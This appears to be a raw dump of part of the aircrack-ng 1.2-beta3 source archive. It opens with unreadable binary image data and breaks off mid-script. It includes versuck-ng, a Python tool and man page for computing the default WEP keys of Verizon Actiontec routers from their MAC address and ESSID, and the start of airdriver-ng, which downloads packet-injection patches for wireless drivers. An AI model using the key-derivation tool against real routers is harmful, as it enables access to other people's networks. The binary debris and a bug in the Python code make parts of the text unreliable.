KÕ7Ë!)!#M7±'4C'ë\ˆƒ5>êY™ÇK¬Ní´Le[¥l€§gä`}XgØßW¬Y#ÜØQBW€ž‚ú¤töâ²Êë¤Ïž-›˜”™Øâ.QƒyºðóQö Uxo²"åY§kŽéÒõ}©²”œe…æˆ.W±jC%9N»¶„`4Uü`ŽºÇÛ°Dn1Ž鋹³üÉN)÷ñD6NNE3Þ*74E VâÞó\3žœŽKÙºšaâúðùóçè{\À99&˜«&¶£L[Ø1Ð/e#ŒU8˜’?¿%\Ã]Å ášT…+µðT9ˆßHŠ­öôbWé5Ògó¶Ž#ù ™¨~às>+íc<ž½qyÞØÇ² ®n†·wÉ^IïH›>ÊY×ûH6)í~nîÀ­Úè—Ó¼Sø¼ËVݯh¦’•ÚiowáeÄR)/a®nà³t7¿¡1|nÓ¬¯q ÍоØÏ·Æ‡òr Ÿ_àNã8ùóÏNGå/Òòñ2éš· œ&&ö‡ì2Þ×/ïÔ|j:ÎÕx:pðùͳäâc>||㲑þžŸÍF¸{3{ï8˜†ä:˜ÞÆ‘|˜l/öXÃè–']_ÍGp$Ï—Kz›ÊlÞl±+ -® é°‰kÙIòçŸÉò:¸ ¦òcSQrø2‰në©JÝ(N¦¹Ôá¸érµ8QXÅ6Ô@ž™,”ãý`¼Cj¡þ½;‚0ZÚë±BC¥@K×lÅD~Y80GW…w¹g¹Füñ¢`ëøi®çUIþÉÊL#ìÑ©Æ-yêoHgØŸ¥ßϤWÇ’—ù¬K¼Á²ýÁ 8S b˜Ø€[g.>Ð'W’·ñÔ4ÍYa¹:¹ÅªÍQ4Fìïô›|„»Å+·­º©ŠhqÞùºîA~‹ª^Zþ6Sƒeªà/qH׫csR†W-ÆãÓ RÊÚ¯s(¹*/Í­¾á³5?—ÛúÆÔ>ÖGOÈx:ñÔÄœù¤™îU2{½òËù(ŠÄ±&spg·Ü,"‡3ÒÑtèïDÕ”„¿hÉš‹áõ&EãsußÎïÞ±÷ô–ÐmTÈûå§ñ5Y/©Åç+¡æjx‘£ üÚTYªíú¶Šû?ÎtáÉéøµ /ÌÅð3ÝRŠ›/v0ßÉà‘lrÉú: xy>НŸê–¦€¨ÁðéÍôö1/ÎF0aÞØà¹ùñËÙnÉк2˜Ã]Ýy|¬Cº õh6‰Ç² ô†:°[¦aË MÖ-$ª<3GOÈF.&j–ŽŸè+r5YÿáhÜ'_˜-K7l%JŽŽ_å8l×TEèxÆÕH;j0\ (¢¶˜´ã–‰sV°eDí 9øä&z¬÷Õù†ŠþÂ5 gFÔX_é†~HþôLœl¤kîí™W) BñÏòq„ã8—X“ût‡nÀü¹”½`Þ6¸în ×q]º¤v˜‚ìIUqc'Ý|`6Lhâ-úZ^üÉleŽ,¢»7äÉí)!nºøÃ9òç|ëìÚDc‚ÈêSºV\«d-¨3|ªwšR‡|à [ è ÒJÏMG0"`Hr㡎”v\î|IDAT–Jkä`ZŒggâ˜åèê~I´ÊÕ©]Aa1®NW±¿‡¾*ކo‹”ª>rt/¿²œñ~PgžâËPùp·R‡ø5\|u{Ž«à# L×u.ôèèY–ÁÄøK‚3þçÃ\]ê‚:Ãç6ÍI©ðî„àwäТ«¿Ã?‹µÍ3èír#;ž&7¼ÃŸìÍ©]¨@Â}› x†>ÍeÀ7ÞL µûÉl²ÎÖ <œåS‡ß—ªà–Œ* WhŽë2>×Ï—cþÐxGó2B5-èÈßL—…—æ¢\}†à#=y\«ª©°"zÃ6þhÇWBÍpÅÄý² Dz)rÌ›bÝ •BøÎXGÃ><£VM¦ÔÎTX?ã×sáUÃÿ<“Â#Ñ–Ï«Ýj.ù…6Å‘|ÕnìïÎc[¤†tÀŘeâ·…0žž‰Kmü¬°¾á0 r,ƒö”qGwÛcuT\'Š|÷\¢åºýÀÚ')¢æê†ô>L ïN0?ŸŒâç“Ñuxçl™dõ@<øo¡ pÑ&Y-'«‚‚B{ÈÒ d+s—“•ñ鹌ÁqLLL¨VPhéhzý•`0ˆ7Þ<Õ¡^û»sñÕžX¬Ìõ¶@†©´hE…V­þyo0S¤Q¤Qh¿ý%×Á¤H£pñʬOk’.§H£p‘“¦mlV¿O©H£H£öD‹ÈÊS‹«H£°n$«"Œ"ÂÅHV%e$’•)Ò((¬²ªœ|…ö† )¢*(¬²*((¬ 5¸³³Ó­Ô­?ÿßÄÔr((´4MÏ«•PPPPPPPPP¸HñÿX©ùkHNªIEND®B`‚aircrack-ng-1.2-beta3/scripts/versuck-ng/0000755000000000000000000000000012316431261017001 5ustar rootrootaircrack-ng-1.2-beta3/scripts/versuck-ng/README0000644000000000000000000000031411405272427017664 0ustar rootrootPlease read the tools manpage this can be done with the following command from the current directory man ./versuck-ng.1 Also please check out the tools help with ./versuck-ng -h Thank you -TheX1le aircrack-ng-1.2-beta3/scripts/versuck-ng/versuck-ng0000755000000000000000000000326311405272427021024 0ustar rootroot#!/usr/bin/env python __author__ = "TheX1le" __version__ = "10-15-2009.231841" """ Verizon Fios and actiontech in their wisdom decided that it would be a good idea to generate your 64 bit WEP key off the internal mac address of your router and some basic base 36 math. Sounds like a fine idea to me! """ import optparse, sys def createKey(essid,bssid): actionOUI = ['0020E0', '000FB3', '001801', '001F90', '0026B8', '00247B', '002662', '001505', '001EA7'] returndict = {} output = 0 #key decimal value multiplier = 1 #up by 36 each time #remove formating of bssid bssid = bssid.replace(":","").replace("-","") for char in essid.upper(): output += int(char,36)*multiplier multiplier = multiplier * 36 key = "%X" % output #convert dec to hex returndict["best"] = bssid[2:6]+key if bssid[2:6] in actionOUI: actionOUI.pop(bssid[2:6]) counter = 1 for oui in actionOUI: returndict["alt"+str(counter)] = oui[2:6]+key counter += 1 return returndict #return the key postions 34 and 56 of the bssid #are appended to the calulated key def banner(): print "\n"+"#"*16 print "#"+" "*2+"Versuck-ng"+" "*2+"#" print "#"*16 if __name__ == "__main__": parser = optparse.OptionParser("usage: %prog options -m -e") parser.add_option("-m", "--mac", dest="mac",nargs=1, help="Mac Address") parser.add_option("-e", "--essid", dest="essid",nargs=1, help="essid") if len(sys.argv) <= 1: banner() parser.print_help() sys.exit(0) (options, args) = parser.parse_args() data = createKey(options.essid,options.mac) print "Key is most likely" print data["best"] print "Key May also be one of these" for key in data.keys(): if key is not "best": print data[key] aircrack-ng-1.2-beta3/scripts/versuck-ng/Makefile0000644000000000000000000000130411421627431020441 0ustar rootrootAC_ROOT = ../.. include $(AC_ROOT)/common.mak SCRIPTS = versuck-ng DOCFILES = README MP_FILES = versuck-ng.1 default: all all: @echo Nothing to do. Run make install install: uninstall install -d $(DESTDIR)$(mandir) install -m 644 $(MP_FILES) $(DESTDIR)$(mandir) install -m 755 $(SCRIPTS) $(DESTDIR)$(bindir) uninstall: -rm -f $(DESTDIR)$(bindir)/versuck-ng -rm -f $(DESTDIR)$(docdir)/README @-$(foreach CUR_MP,$(MP_FILES), rm -f $(DESTDIR)$(mandir)/$(CUR_MP); echo rm -f $(DESTDIR)$(mandir)/$(CUR_MP); ) doc: install -d $(DESTDIR)$(docdir) install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) clean: @echo Nothing to do. distclean: clean aircrack-ng-1.2-beta3/scripts/versuck-ng/versuck-ng.10000644000000000000000000000140411405273510021145 0ustar rootroot.TH versuck-ng "June 2010" Linux "User Manual" .SH NAME versuck-ng - an actiontec router default wep key generator .SH SYNOPSIS versuck-ng [options] .SH DESCRIPITION .I versuck-ng's purpose is to calculate the default WEP key for verizon .I issued actiontec wireless routers. It does this using a list of .I known hardware IDs in the wired mac used by the router. .I Depending on the BSSID you can some times use it as well. .I The OUI needs to match on both the wireless and wired mac for use of .I the bssid to work. versuck-ng -m [the internal mac address] -e [the ESSID of the device] .SH OPTIONS .IP -h Shows the help screen. .IP -m The internal mac address of the device. .IP -e The ESSID that the device is using. aircrack-ng-1.2-beta3/scripts/airdriver-ng0000644000000000000000000033363211323147202017237 0ustar rootroot#!/bin/bash # Tool to install/uninstall and patch wireless drivers and 802.11 stacks # # Copyright (c) 2007 Martin Beck # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA USERID="" #run as root? if [ x"`which id 2> /dev/null`" != "x" ] then USERID="`id -u 2> /dev/null`" fi if [ x$USERID == "x" -a x$UID != "x" ] then USERID=$UID fi if [ x$USERID != "x" -a x$USERID != "x0" ] then echo Run it as root ; exit ; fi #getting commands LSPCMCIA=`which lspcmcia 2>/dev/null` IWCONFIG=`which iwconfig 2>/dev/null` MODPROBE=`which modprobe 2>/dev/null` RMMOD=`which rmmod 2>/dev/null` PATCH=`which patch 2>/dev/null` LSPCI=`which lspci 2>/dev/null` LSUSB=`which lsusb 2>/dev/null` WGET=`which wget 2>/dev/null` MAKE=`which make 2>/dev/null` GCC=`which gcc 2>/dev/null` TAR=`which tar 2>/dev/null` UNZIP=`which unzip 2>/dev/null` SVN=`which svn 2>/dev/null` CVS=`which cvs 2>/dev/null` GIT=`which git 2>/dev/null` CARDCTL=`which pccardctl 2>/dev/null` if [ x"$CARDCTL" == x ] then CARDCTL=`which cardctl 2>/dev/null` fi #global variables if [ x"$KVER" == x ] then KVER=`uname -r` fi KMAJOR=`echo $KVER | sed 's/^\([0-9]\)\..*$/\1/'` KMINOR=`echo $KVER | sed 's/^[0-9]\.\([0-9]\)\..*$/\1/'` KPATCH=`echo $KVER | sed 's/^[0-9]\.[0-9]\.\([0-9]*\).*$/\1/'` KSUBPT=`echo $KVER | sed -n 's/^[0-9]\.[0-9]\.[0-9]*\.\([0-9]*\).*$/\1/p'` KSRC="/lib/modules/$KVER/build" KMOD="/lib/modules/$KVER" KUTS="" VANILLA="$KMAJOR.$KMINOR.$KPATCH" if [ x"$KSUBPT" != x ] then VANILLA="$VANILLA.$KSUBPT" fi if [ -f "$KSRC/include/linux/utsrelease.h" ] then KUTS=`grep UTS_RELEASE $KSRC/include/linux/utsrelease.h 2>/dev/null | head -n 1 | cut -d " " -f3 | sed 's/"//g'` else KUTS=`grep UTS_RELEASE $KSRC/include/linux/version.h 2>/dev/null | head -n 1 | cut -d " " -f3 | sed 's/"//g'` fi if [ x"$KUTS" != x ] then if [ x"$KUTS" != x"$KVER" ] then echo "-------" echo "Your linked kernel source doesn't match your current running version." echo "\"$KUTS\" vs. \"$KVER\"" printf "You " if [ -d "/lib/modules/$KUTS" ] then printf "will probably" else printf "may" fi printf " run into problems when installing drivers.\n" echo "-------" fi fi OWN_NAME=$0 D_DIR="/usr/src/drivers" LOGFILE="/var/log/airdriver" #firmware preparation #possible paths, ordered by importance FIRMPATHS="/lib/firmware /usr/lib/firmware /lib/hotplug/firmware /usr/local/lib/firmware /usr/firmware" for i in $FIRMPATHS do if [ -d "$i" ] then FIRMPATH="$i" fi done if [ x"$FIRMPATH" == x ] then FIRMPATH="/lib/firmware" mkdir -p "$FIRMPATH" fi #done preparing firmware directory NO_DRIVER_ERROR='You need to specify a driver number obtained from "airdriver-ng installed" or "airdriver-ng loaded"' NO_STACK_ERROR='You need to specify a stack number obtained from "airdriver-ng supported"' NO_FIRMWARE_ERROR='You need to specify a driver number obtained from "airdriver-ng supported"' YES=1 NO=0 ERROR=255 NO_INSTALL=$NO NO_FIRMWARE=$NO #distribution definition - for future enhancements - not used right now i=0 LNAME[$i]="Debian" LI_UTIL[$i]="apt-get" LI_ARGUMENT[$i]="install" LI_KSOURCE[$i]="" LDETECT[$i]="" i=$(($i+1)) LNAME[$i]="Fedora" LI_UTIL[$i]="yum" LI_ARGUMENT[$i]="" LI_KSOURCE[$i]="" LDETECT[$i]="cat /etc/fedora-release 2>/dev/null" i=$(($i+1)) LNAME[$i]="Gentoo" LI_UTIL[$i]="emerge" LI_ARGUMENT[$i]="-a" LI_KSOURCE[$i]="" LDETECT[$i]="" i=$(($i+1)) LNAME[$i]="Mandriva" LI_UTIL[$i]="" LI_ARGUMENT[$i]="" LI_KSOURCE[$i]="" LDETECT[$i]="" i=$(($i+1)) LNAME[$i]="Slackware" LI_UTIL[$i]="" LI_ARGUMENT[$i]="" LI_KSOURCE[$i]="" LDETECT[$i]="" i=$(($i+1)) LNAME[$i]="openSUSE" LI_UTIL[$i]="zypper" LI_ARGUMENT[$i]="install" LI_KSOURCE[$i]="cat /etc/SuSE-release 2>/dev/null" LDETECT[$i]="" i=$(($i+1)) LNAME[$i]="[X|K]Ubuntu" LI_UTIL[$i]="apt-get" LI_ARGUMENT[$i]="install" LI_KSOURCE[$i]="linux-source-$VANILLA" LDETECT[$i]="" #END - distribution definition LCOUNT=$(($i+1)) #stack definition i=0 SNAME[$i]="IEEE80211" SCONFIG[$i]="CONFIG_IEEE80211=" SCONFIGS[$i]="CONFIG_IEEE80211=m CONFIG_IEEE80211_CRYPT_WEP=m CONFIG_IEEE80211_CRYPT_CCMP=m CONFIG_IEEE80211_CRYPT_TKIP=m" SMODULE[$i]="ieee80211" SMODULES[$i]="ieee80211 ieee80211_crypt ieee80211_crypt_wep ieee80211_crypt_tkip ieee80211_crypt_ccmp" SI_INIT[$i]="install_ieee80211 $i" SI_DRIVERGET[$i]="cp" SI_DRIVERFILE[$i]="ieee80211_tx.c" SI_DRIVERPATH1[$i]="$KSRC/net/ieee80211" SI_DRIVERPATH2[$i]="/usr/src/linux/net/ieee80211" SI_DRIVEREXDIR[$i]="" SI_DRIVERDIR[$i]="ieee80211" SI_PREPATCH[$i]="" SI_PATCHFILE[$i]="ieee80211_inject-2.6.22.patch" SI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/ieee80211_inject-2.6.22.patch" SI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/ieee80211_inject-2.6.22.patch" SI_PATCHARG[$i]="-p3" SI_PRECOMP[$i]="" SI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${SI_DRIVERDIR[$i]} modules" SI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/net/ieee80211/"" SI_INSTALL2[$i]="cp -f *.ko "$KMOD/kernel/net/ieee80211/"" SSITE[$i]="http://ieee80211.sourceforge.net/" i=$(($i+1)) SNAME[$i]="IEEE80211 Softmac" SCONFIG[$i]="CONFIG_IEEE80211_SOFTMAC=" SCONFIGS[$i]="CONFIG_IEEE80211_SOFTMAC=m" SMODULE[$i]="ieee80211softmac" SMODULES[$i]="ieee80211softmac" SI_INIT[$i]="install_softmac $i" SI_DRIVERGET[$i]="cp" SI_DRIVERFILE[$i]="ieee80211softmac_wx.c" SI_DRIVERPATH1[$i]="$KSRC/net/ieee80211/softmac" SI_DRIVERPATH2[$i]="/usr/src/linux/net/ieee80211/softmac" SI_DRIVEREXDIR[$i]="" SI_DRIVERDIR[$i]="softmac" SI_PREPATCH[$i]="" SI_PATCHFILE[$i]="ieee80211_softmac_adjust_bitrate.patch" SI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/ieee80211_softmac_adjust_bitrate.patch" SI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/ieee80211_softmac_adjust_bitrate.patch" SI_PATCHARG[$i]="-p4" SI_PRECOMP[$i]="" SI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${SI_DRIVERDIR[$i]} modules" SI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/net/ieee80211/softmac/"" SI_INSTALL2[$i]="cp -f *.ko "$KMOD/kernel/net/ieee80211/softmac/"" SSITE[$i]="http://softmac.sipsolutions.net/" i=$(($i+1)) SNAME[$i]="mac80211" SCONFIG[$i]="CONFIG_MAC80211=" SCONFIGS[$i]="CONFIG_MAC80211=m" SMODULE[$i]="mac80211" SMODULES[$i]="mac80211 rc80211_simple cfg80211 nl80211 rc80211_lowest" SSITE[$i]="http://intellinuxwireless.org/?p=mac80211" i=$(($i+1)) SNAME[$i]="custom" SCONFIG[$i]="" SMODULE[$i]="" SMODULES[$i]="" SSITE[$i]="" #END of stack definition SCOUNT=$(($i+1)) #drivers #DCOUNT = Number of known drivers #DNAME[x] = Driver name to be displayed #DMODULE[x] = Main module name to recognise installed/loaded status (complete name without trailing ".ko") #DCONFIG[x] = Configure variable in kernel config file #DMODULES[x] = All modules used by the driver (complete name without trailing ".ko") #DINSTALL[x] = Function to d/l, patch and install the driver #DSITE[x] = Website with more information about the driver #DETECT_X[x] = string to grep for while detecting devices: lsusb -v, lspci and lspcmcia -v i=0 DNAME[$i]="ACX100/111" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="acx" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="acx" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="acx-20070101.tar.bz2" DI_DRIVERPATH1[$i]="http://www.cmartin.tk/acx/acx-20070101.tar.bz2" DI_DRIVERPATH2[$i]="http://www.hauke-m.de/fileadmin/acx/acx-20070101.tar.bz2" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="acx-20070101" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="acx-20070101.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/acx-20070101.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/acx-20070101.patch" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/acx/"" DI_INSTALL2[$i]="cp -f acx.ko "$KMOD/kernel/drivers/net/wireless/acx/"" DF_FIRMFILES[$i]="tiacx100 tiacx100r11 tiacx111c17 tiacx100r0D tiacx100r15 tiacx111c16 tiacx111c19" DF_FIRMFILE[$i]="fw.tar.bz2" DF_FIRMPATH1[$i]="http://www.hauke-m.de/fileadmin/acx/fw.tar.bz2" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="fw" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=acx" DETECT_USB[$i]="" DETECT_PCI[$i]="ACX" DETECT_CS[$i]="ACX" i=$(($i+1)) DNAME[$i]="ADMtek 8211" DSTACK[$i]="0" DMODINFO[$i]="^depends: *ieee80211" DMODULE[$i]="adm8211" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="adm8211" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="ADMtek 8211" DSTACK[$i]="2" DMODINFO[$i]="^depends: *mac80211" DMODULE[$i]="adm8211" DCONFIG[$i]="CONFIG_ADM8211=" DCONFIGS[$i]="CONFIG_ADM8211=m" DMODULES[$i]="adm8211" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Atmel at76c50x" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="atmel" DCONFIG[$i]="CONFIG_ATMEL=" DCONFIGS[$i]="CONFIG_ATMEL=m CONFIG_PCI_ATMEL=m CONFIG_PCMCIA_ATMEL=m CONFIG_TCG_ATMEL=m" DMODULES[$i]="atmel atmel_cs atmel_pci at76c505a-rfmd2958 at76c505-rfmd2958 at76c505-rfmd.ko at76c503.ko at76c503-rfmd.ko at76c503-rfmd-acc.ko at76c503-i3863.ko at76c503-i3861.ko at76_usbdfu.ko" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="atmel_at76c502_3com.bin atmel_at76c503-rfmd.bin atmel_at76c502_3com-wpa.bin atmel_at76c504_2958-wpa.bin atmel_at76c502.bin atmel_at76c504a_2958-wpa.bin atmel_at76c502d.bin atmel_at76c504.bin atmel_at76c502d-wpa.bin atmel_at76c504c-wpa.bin atmel_at76c502e.bin atmel_at76c505a-rfmd2958.bin atmel_at76c502e-wpa.bin atmel_at76c505-rfmd2958.bin atmel_at76c502-wpa.bin atmel_at76c505-rfmd.bin atmel_at76c503-i3861.bin atmel_at76c506.bin atmel_at76c503-i3863.bin atmel_at76c506-wpa.bin atmel_at76c503-rfmd-0.90.2-140.bin atmel_at76c503-rfmd-acc.bin" DF_FIRMFILE[$i]="at76c503afw-0.1.tar.gz" DF_FIRMPATH1[$i]="http://downloads.sourceforge.net/at76c503a/at76c503afw-0.1.tar.gz" DF_FIRMPATH2[$i]="http://downloads.sourceforge.net/at76c503a/at76c503afw-0.1.tar.gz" DF_FIRMDIR[$i]="at76_usb-firmware-0.1" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Atmel at76_usb" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="at76_usb" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="at76_usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="at76_usb-0.16.tar.gz" DI_DRIVERPATH1[$i]="http://download.berlios.de/at76c503a/at76_usb-0.16.tar.gz" DI_DRIVERPATH2[$i]="http://download2.berlios.de/at76c503a/at76_usb-0.16.tar.gz" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="at76_usb-0.16" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="make" DI_INSTALL1[$i]="make install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="atmel_at76c502_3com.bin atmel_at76c503-rfmd.bin atmel_at76c502_3com-wpa.bin atmel_at76c504_2958-wpa.bin atmel_at76c502.bin atmel_at76c504a_2958-wpa.bin atmel_at76c502d.bin atmel_at76c504.bin atmel_at76c502d-wpa.bin atmel_at76c504c-wpa.bin atmel_at76c502e.bin atmel_at76c505a-rfmd2958.bin atmel_at76c502e-wpa.bin atmel_at76c505-rfmd2958.bin atmel_at76c502-wpa.bin atmel_at76c505-rfmd.bin atmel_at76c503-i3861.bin atmel_at76c506.bin atmel_at76c503-i3863.bin atmel_at76c506-wpa.bin atmel_at76c503-rfmd-0.90.2-140.bin atmel_at76c503-rfmd-acc.bin" DF_FIRMFILE[$i]="at76c503afw-0.1.tar.gz" DF_FIRMPATH1[$i]="http://downloads.sourceforge.net/at76c503a/at76c503afw-0.1.tar.gz" DF_FIRMPATH2[$i]="http://downloads.sourceforge.net/at76c503a/at76c503afw-0.1.tar.gz" DF_FIRMDIR[$i]="at76_usb-firmware-0.1" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Broadcom 4300" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="bcm43xx" DCONFIG[$i]="CONFIG_BCM43XX=" DCONFIGS[$i]="CONFIG_BCM43XX=m CONFIG_BCM43XX_DMA=y CONFIG_BCM43XX_PIO=y CONFIG_BCM43XX_DMA_AND_PIO_MODE=y" DMODULES[$i]="bcm43xx" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-$VANILLA.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVERPATH2[$i]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVEREXDIR[$i]="linux-$VANILLA/drivers/net/wireless/bcm43xx" DI_DRIVERDIR[$i]="bcm43xx" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="bcm43xx-injection-linux-2.6.20.patch" DI_PATCHPATH1[$i]="http://trac.aircrack-ng.org/attachment/ticket/183/bcm43xx-injection-linux-2.6.20.patch?format=raw" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="-p5" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/bcm43xx/"" DI_INSTALL2[$i]="cp -f bcm43xx.ko $KMOD/kernel/drivers/net/wireless/bcm43xx/" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=broadcom" DETECT_USB[$i]="" DETECT_PCI[$i]="BCM43" DETECT_CS[$i]="BCM43" i=$(($i+1)) DNAME[$i]="Broadcom 4300" DSTACK[$i]="2" DMODINFO[$i]="" DMODULE[$i]="bcm43xx-mac80211" DCONFIG[$i]="CONFIG_BCM43XX_MAC80211=" DCONFIGS[$i]="CONFIG_BCM43XX_MAC80211=m CONFIG_BCM43XX_MAC80211_PCI=y CONFIG_BCM43XX_MAC80211_PCMCIA=y CONFIG_BCM43XX_MAC80211_DMA=y CONFIG_BCM43XX_MAC80211_PIO=y CONFIG_BCM43XX_MAC80211_DMA_AND_PIO_MODE=y" DMODULES[$i]="bcm43xx-mac80211.ko" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="BCM43" DETECT_CS[$i]="BCM43" i=$(($i+1)) DNAME[$i]="Cisco/Aironet 802.11" DSTACK[$i]="1" DMODINFO[$i]="" DMODULE[$i]="airo" DCONFIG[$i]="CONFIG_AIRO=" DCONFIGS[$i]="CONFIG_AIRO=m CONFIG_AIRO_CS=m" DMODULES[$i]="airo airo_cs" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="HostAP" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="hostap" DCONFIG[$i]="CONFIG_HOSTAP=" DCONFIGS[$i]="CONFIG_HOSTAP=m CONFIG_HOSTAP_CS=m CONFIG_HOSTAP_PLX=m CONFIG_HOSTAP_PCI=m CONFIG_HOSTAP_FIRMWARE=y 